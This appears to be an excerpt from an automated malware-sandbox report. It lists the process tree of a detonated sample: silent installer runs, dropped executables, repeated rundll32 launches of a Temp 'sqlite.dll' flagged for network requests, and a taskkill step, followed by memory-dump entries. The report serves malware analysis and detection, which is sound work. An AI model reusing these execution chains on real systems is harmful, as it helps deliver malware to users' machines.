                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                      PID:4032
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 4820 -ip 4820
                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                      PID:4124
                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                      PID:6440
                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-FON2R.tmp\setup.tmp
                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-FON2R.tmp\setup.tmp" /SL5="$40328,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                        • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                                                        • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                                                                                                                        PID:6712
                                                                                                                                                                                                                                                                                                                                        • C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe
                                                                                                                                                                                                                                                                                                                                          "C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe" /q /norestart
                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                            PID:6320
                                                                                                                                                                                                                                                                                                                                            • C:\955e3dc2d5855645f220d06c51c4\Setup.exe
                                                                                                                                                                                                                                                                                                                                              C:\955e3dc2d5855645f220d06c51c4\\Setup.exe /q /norestart /x86 /x64 /web
                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                              • Checks processor information in registry
                                                                                                                                                                                                                                                                                                                                              PID:6456
                                                                                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe" ss1
                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                            PID:6240
                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-L3OKN.tmp\postback.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-L3OKN.tmp\postback.exe" ss1
                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                            PID:6496
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 660 -p 5028 -ip 5028
                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                          PID:5440
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 752 -p 5884 -ip 5884
                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                          PID:7052
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                                                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                          • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                          • Blocklisted process makes network request
                                                                                                                                                                                                                                                                                                                                          PID:2644
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 3620 -ip 3620
                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                          PID:6600
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 6616 -ip 6616
                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                          PID:4052
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\WerFault.exe -pss -s 408 -p 4080 -ip 4080
                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                            PID:3644
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                              PID:4740
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 1896 -ip 1896
                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                              • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                              PID:6380
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 4208 -ip 4208
                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                              • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                              PID:3140
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 716 -p 5952 -ip 5952
                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                              • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                              PID:6172
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 6636 -ip 6636
                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                              • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                              PID:7924
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                              PID:1896
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                                                                                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              PID:3836
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                PID:5208
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5208 -s 448
                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                                                                                                                                                                                  • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                                                                  PID:5988
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 7832 -ip 7832
                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                              • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                              PID:1156
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 5208 -ip 5208
                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                              • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                              PID:7684
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\System32\WaaSMedicAgent.exe 17993e8b3687ae87e4c0225af4524e3e ntmwIsluzUm1basLYVrQvg.0.1.0.3.0
                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                              PID:6676
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 5440 -ip 5440
                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                PID:4540
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 2228 -ip 2228
                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                PID:2828
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 7552 -ip 7552
                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                PID:5860
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4540 -ip 4540
                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                PID:7744
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 1348 -ip 1348
                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                  PID:8148
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\msiexec.exe
                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\msiexec.exe /V
                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                  • Enumerates connected drives
                                                                                                                                                                                                                                                                                                                                                  • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                  PID:3444
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Windows\syswow64\MsiExec.exe -Embedding 6057C223561C82D6BC61FBE9DB46D128 C
                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                    PID:8768
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Windows\syswow64\MsiExec.exe -Embedding DA73A3BA92D6A69F5681812C6A532BDF
                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                    PID:4032
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                      PID:6404
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                  PID:1856
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                    PID:7236
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 7236 -s 448
                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                                                                                      • Checks processor information in registry
                                                                                                                                                                                                                                                                                                                                                      • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                                                                      PID:8444
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 7236 -ip 7236
                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                  PID:8388
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                                  PID:6648
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                                                                                                                                                                                  C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                    PID:6728
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\compattelrunner.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW
                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                      PID:7644
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                      C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                        PID:8456
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                          PID:8856
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\svchost.exe -k wsappx -p -s AppXSvc
                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                            PID:9092
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 7252 -ip 7252
                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                            PID:7664
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                            C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                              PID:9116
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 7252 -ip 7252
                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                              • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                              • Checks processor information in registry
                                                                                                                                                                                                                                                                                                                                                              • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                                                                              PID:7124
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 6376 -ip 6376
                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                              • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                              PID:8660

                                                                                                                                                                                                                                                                                                                                                            Network

                                                                                                                                                                                                                                                                                                                                                            MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                                                                            Replay Monitor

                                                                                                                                                                                                                                                                                                                                                            Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                            Downloads

                                                                                                                                                                                                                                                                                                                                                            • memory/648-369-0x00000000023B0000-0x00000000023CB000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              108KB

                                                                                                                                                                                                                                                                                                                                                            • memory/648-261-0x000000001AF70000-0x000000001AF72000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              8KB

                                                                                                                                                                                                                                                                                                                                                            • memory/648-227-0x00000000002B0000-0x00000000002B1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/648-251-0x0000000000BB0000-0x0000000000BB1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1432-339-0x0000000000680000-0x0000000000688000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              32KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1432-361-0x0000000000690000-0x0000000000699000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              36KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1592-274-0x0000000000400000-0x000000000091D000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              5.1MB

                                                                                                                                                                                                                                                                                                                                                            • memory/1592-258-0x00000000029A0000-0x00000000029A1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1592-264-0x0000000000400000-0x000000000091D000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              5.1MB

                                                                                                                                                                                                                                                                                                                                                            • memory/1592-277-0x0000000002990000-0x0000000002991000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1592-267-0x0000000002950000-0x0000000002951000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1592-243-0x0000000002740000-0x0000000002741000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1592-292-0x0000000000400000-0x000000000091D000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              5.1MB

                                                                                                                                                                                                                                                                                                                                                            • memory/1592-238-0x0000000002530000-0x0000000002590000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              384KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1592-297-0x0000000003650000-0x0000000003651000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1592-321-0x0000000002750000-0x0000000002751000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1592-332-0x0000000002720000-0x0000000002721000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1592-338-0x00000000027A0000-0x00000000027A1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1592-334-0x0000000002770000-0x0000000002771000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1592-260-0x0000000002960000-0x0000000002961000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1592-245-0x0000000002970000-0x0000000002971000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1592-329-0x0000000002700000-0x0000000002701000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1592-314-0x0000000000400000-0x000000000091D000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              5.1MB

                                                                                                                                                                                                                                                                                                                                                            • memory/1592-318-0x0000000000400000-0x000000000091D000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              5.1MB

                                                                                                                                                                                                                                                                                                                                                            • memory/1592-255-0x0000000002930000-0x0000000002931000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1592-301-0x0000000003650000-0x0000000003651000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1592-303-0x0000000003650000-0x0000000003651000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1592-253-0x0000000002980000-0x0000000002981000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1592-273-0x00000000029C0000-0x00000000029C1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1592-288-0x0000000003660000-0x0000000003661000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1592-295-0x0000000003650000-0x0000000003651000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1624-271-0x0000000005050000-0x0000000005051000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1624-259-0x0000000004F20000-0x0000000004F21000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1624-244-0x00000000005E0000-0x00000000005E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1624-269-0x0000000004EC0000-0x0000000004EC1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1896-428-0x0000000000680000-0x0000000000692000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              72KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1896-416-0x0000000000650000-0x0000000000660000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              64KB

                                                                                                                                                                                                                                                                                                                                                            • memory/1960-146-0x0000000006480000-0x00000000065CC000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              1.3MB

                                                                                                                                                                                                                                                                                                                                                            • memory/2240-211-0x0000000005530000-0x0000000005531000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/2240-265-0x00000000060F0000-0x00000000060F1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/2240-233-0x0000000004F20000-0x0000000005522000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              6.0MB

                                                                                                                                                                                                                                                                                                                                                            • memory/2240-270-0x0000000005CE0000-0x0000000005CE1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/2240-221-0x0000000005010000-0x0000000005011000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/2240-188-0x0000000000650000-0x0000000000651000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                                            • memory/2240-262-0x0000000005260000-0x00000000052BC000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              368KB

                                                                                                                                                                                                                                                                                                                                                            • memory/2240-248-0x0000000004FC0000-0x0000000004FC3000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              12KB

                                                                                                                                                                                                                                                                                                                                                            • memory/2268-149-0x0000027188800000-0x0000027188804000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                              16KB

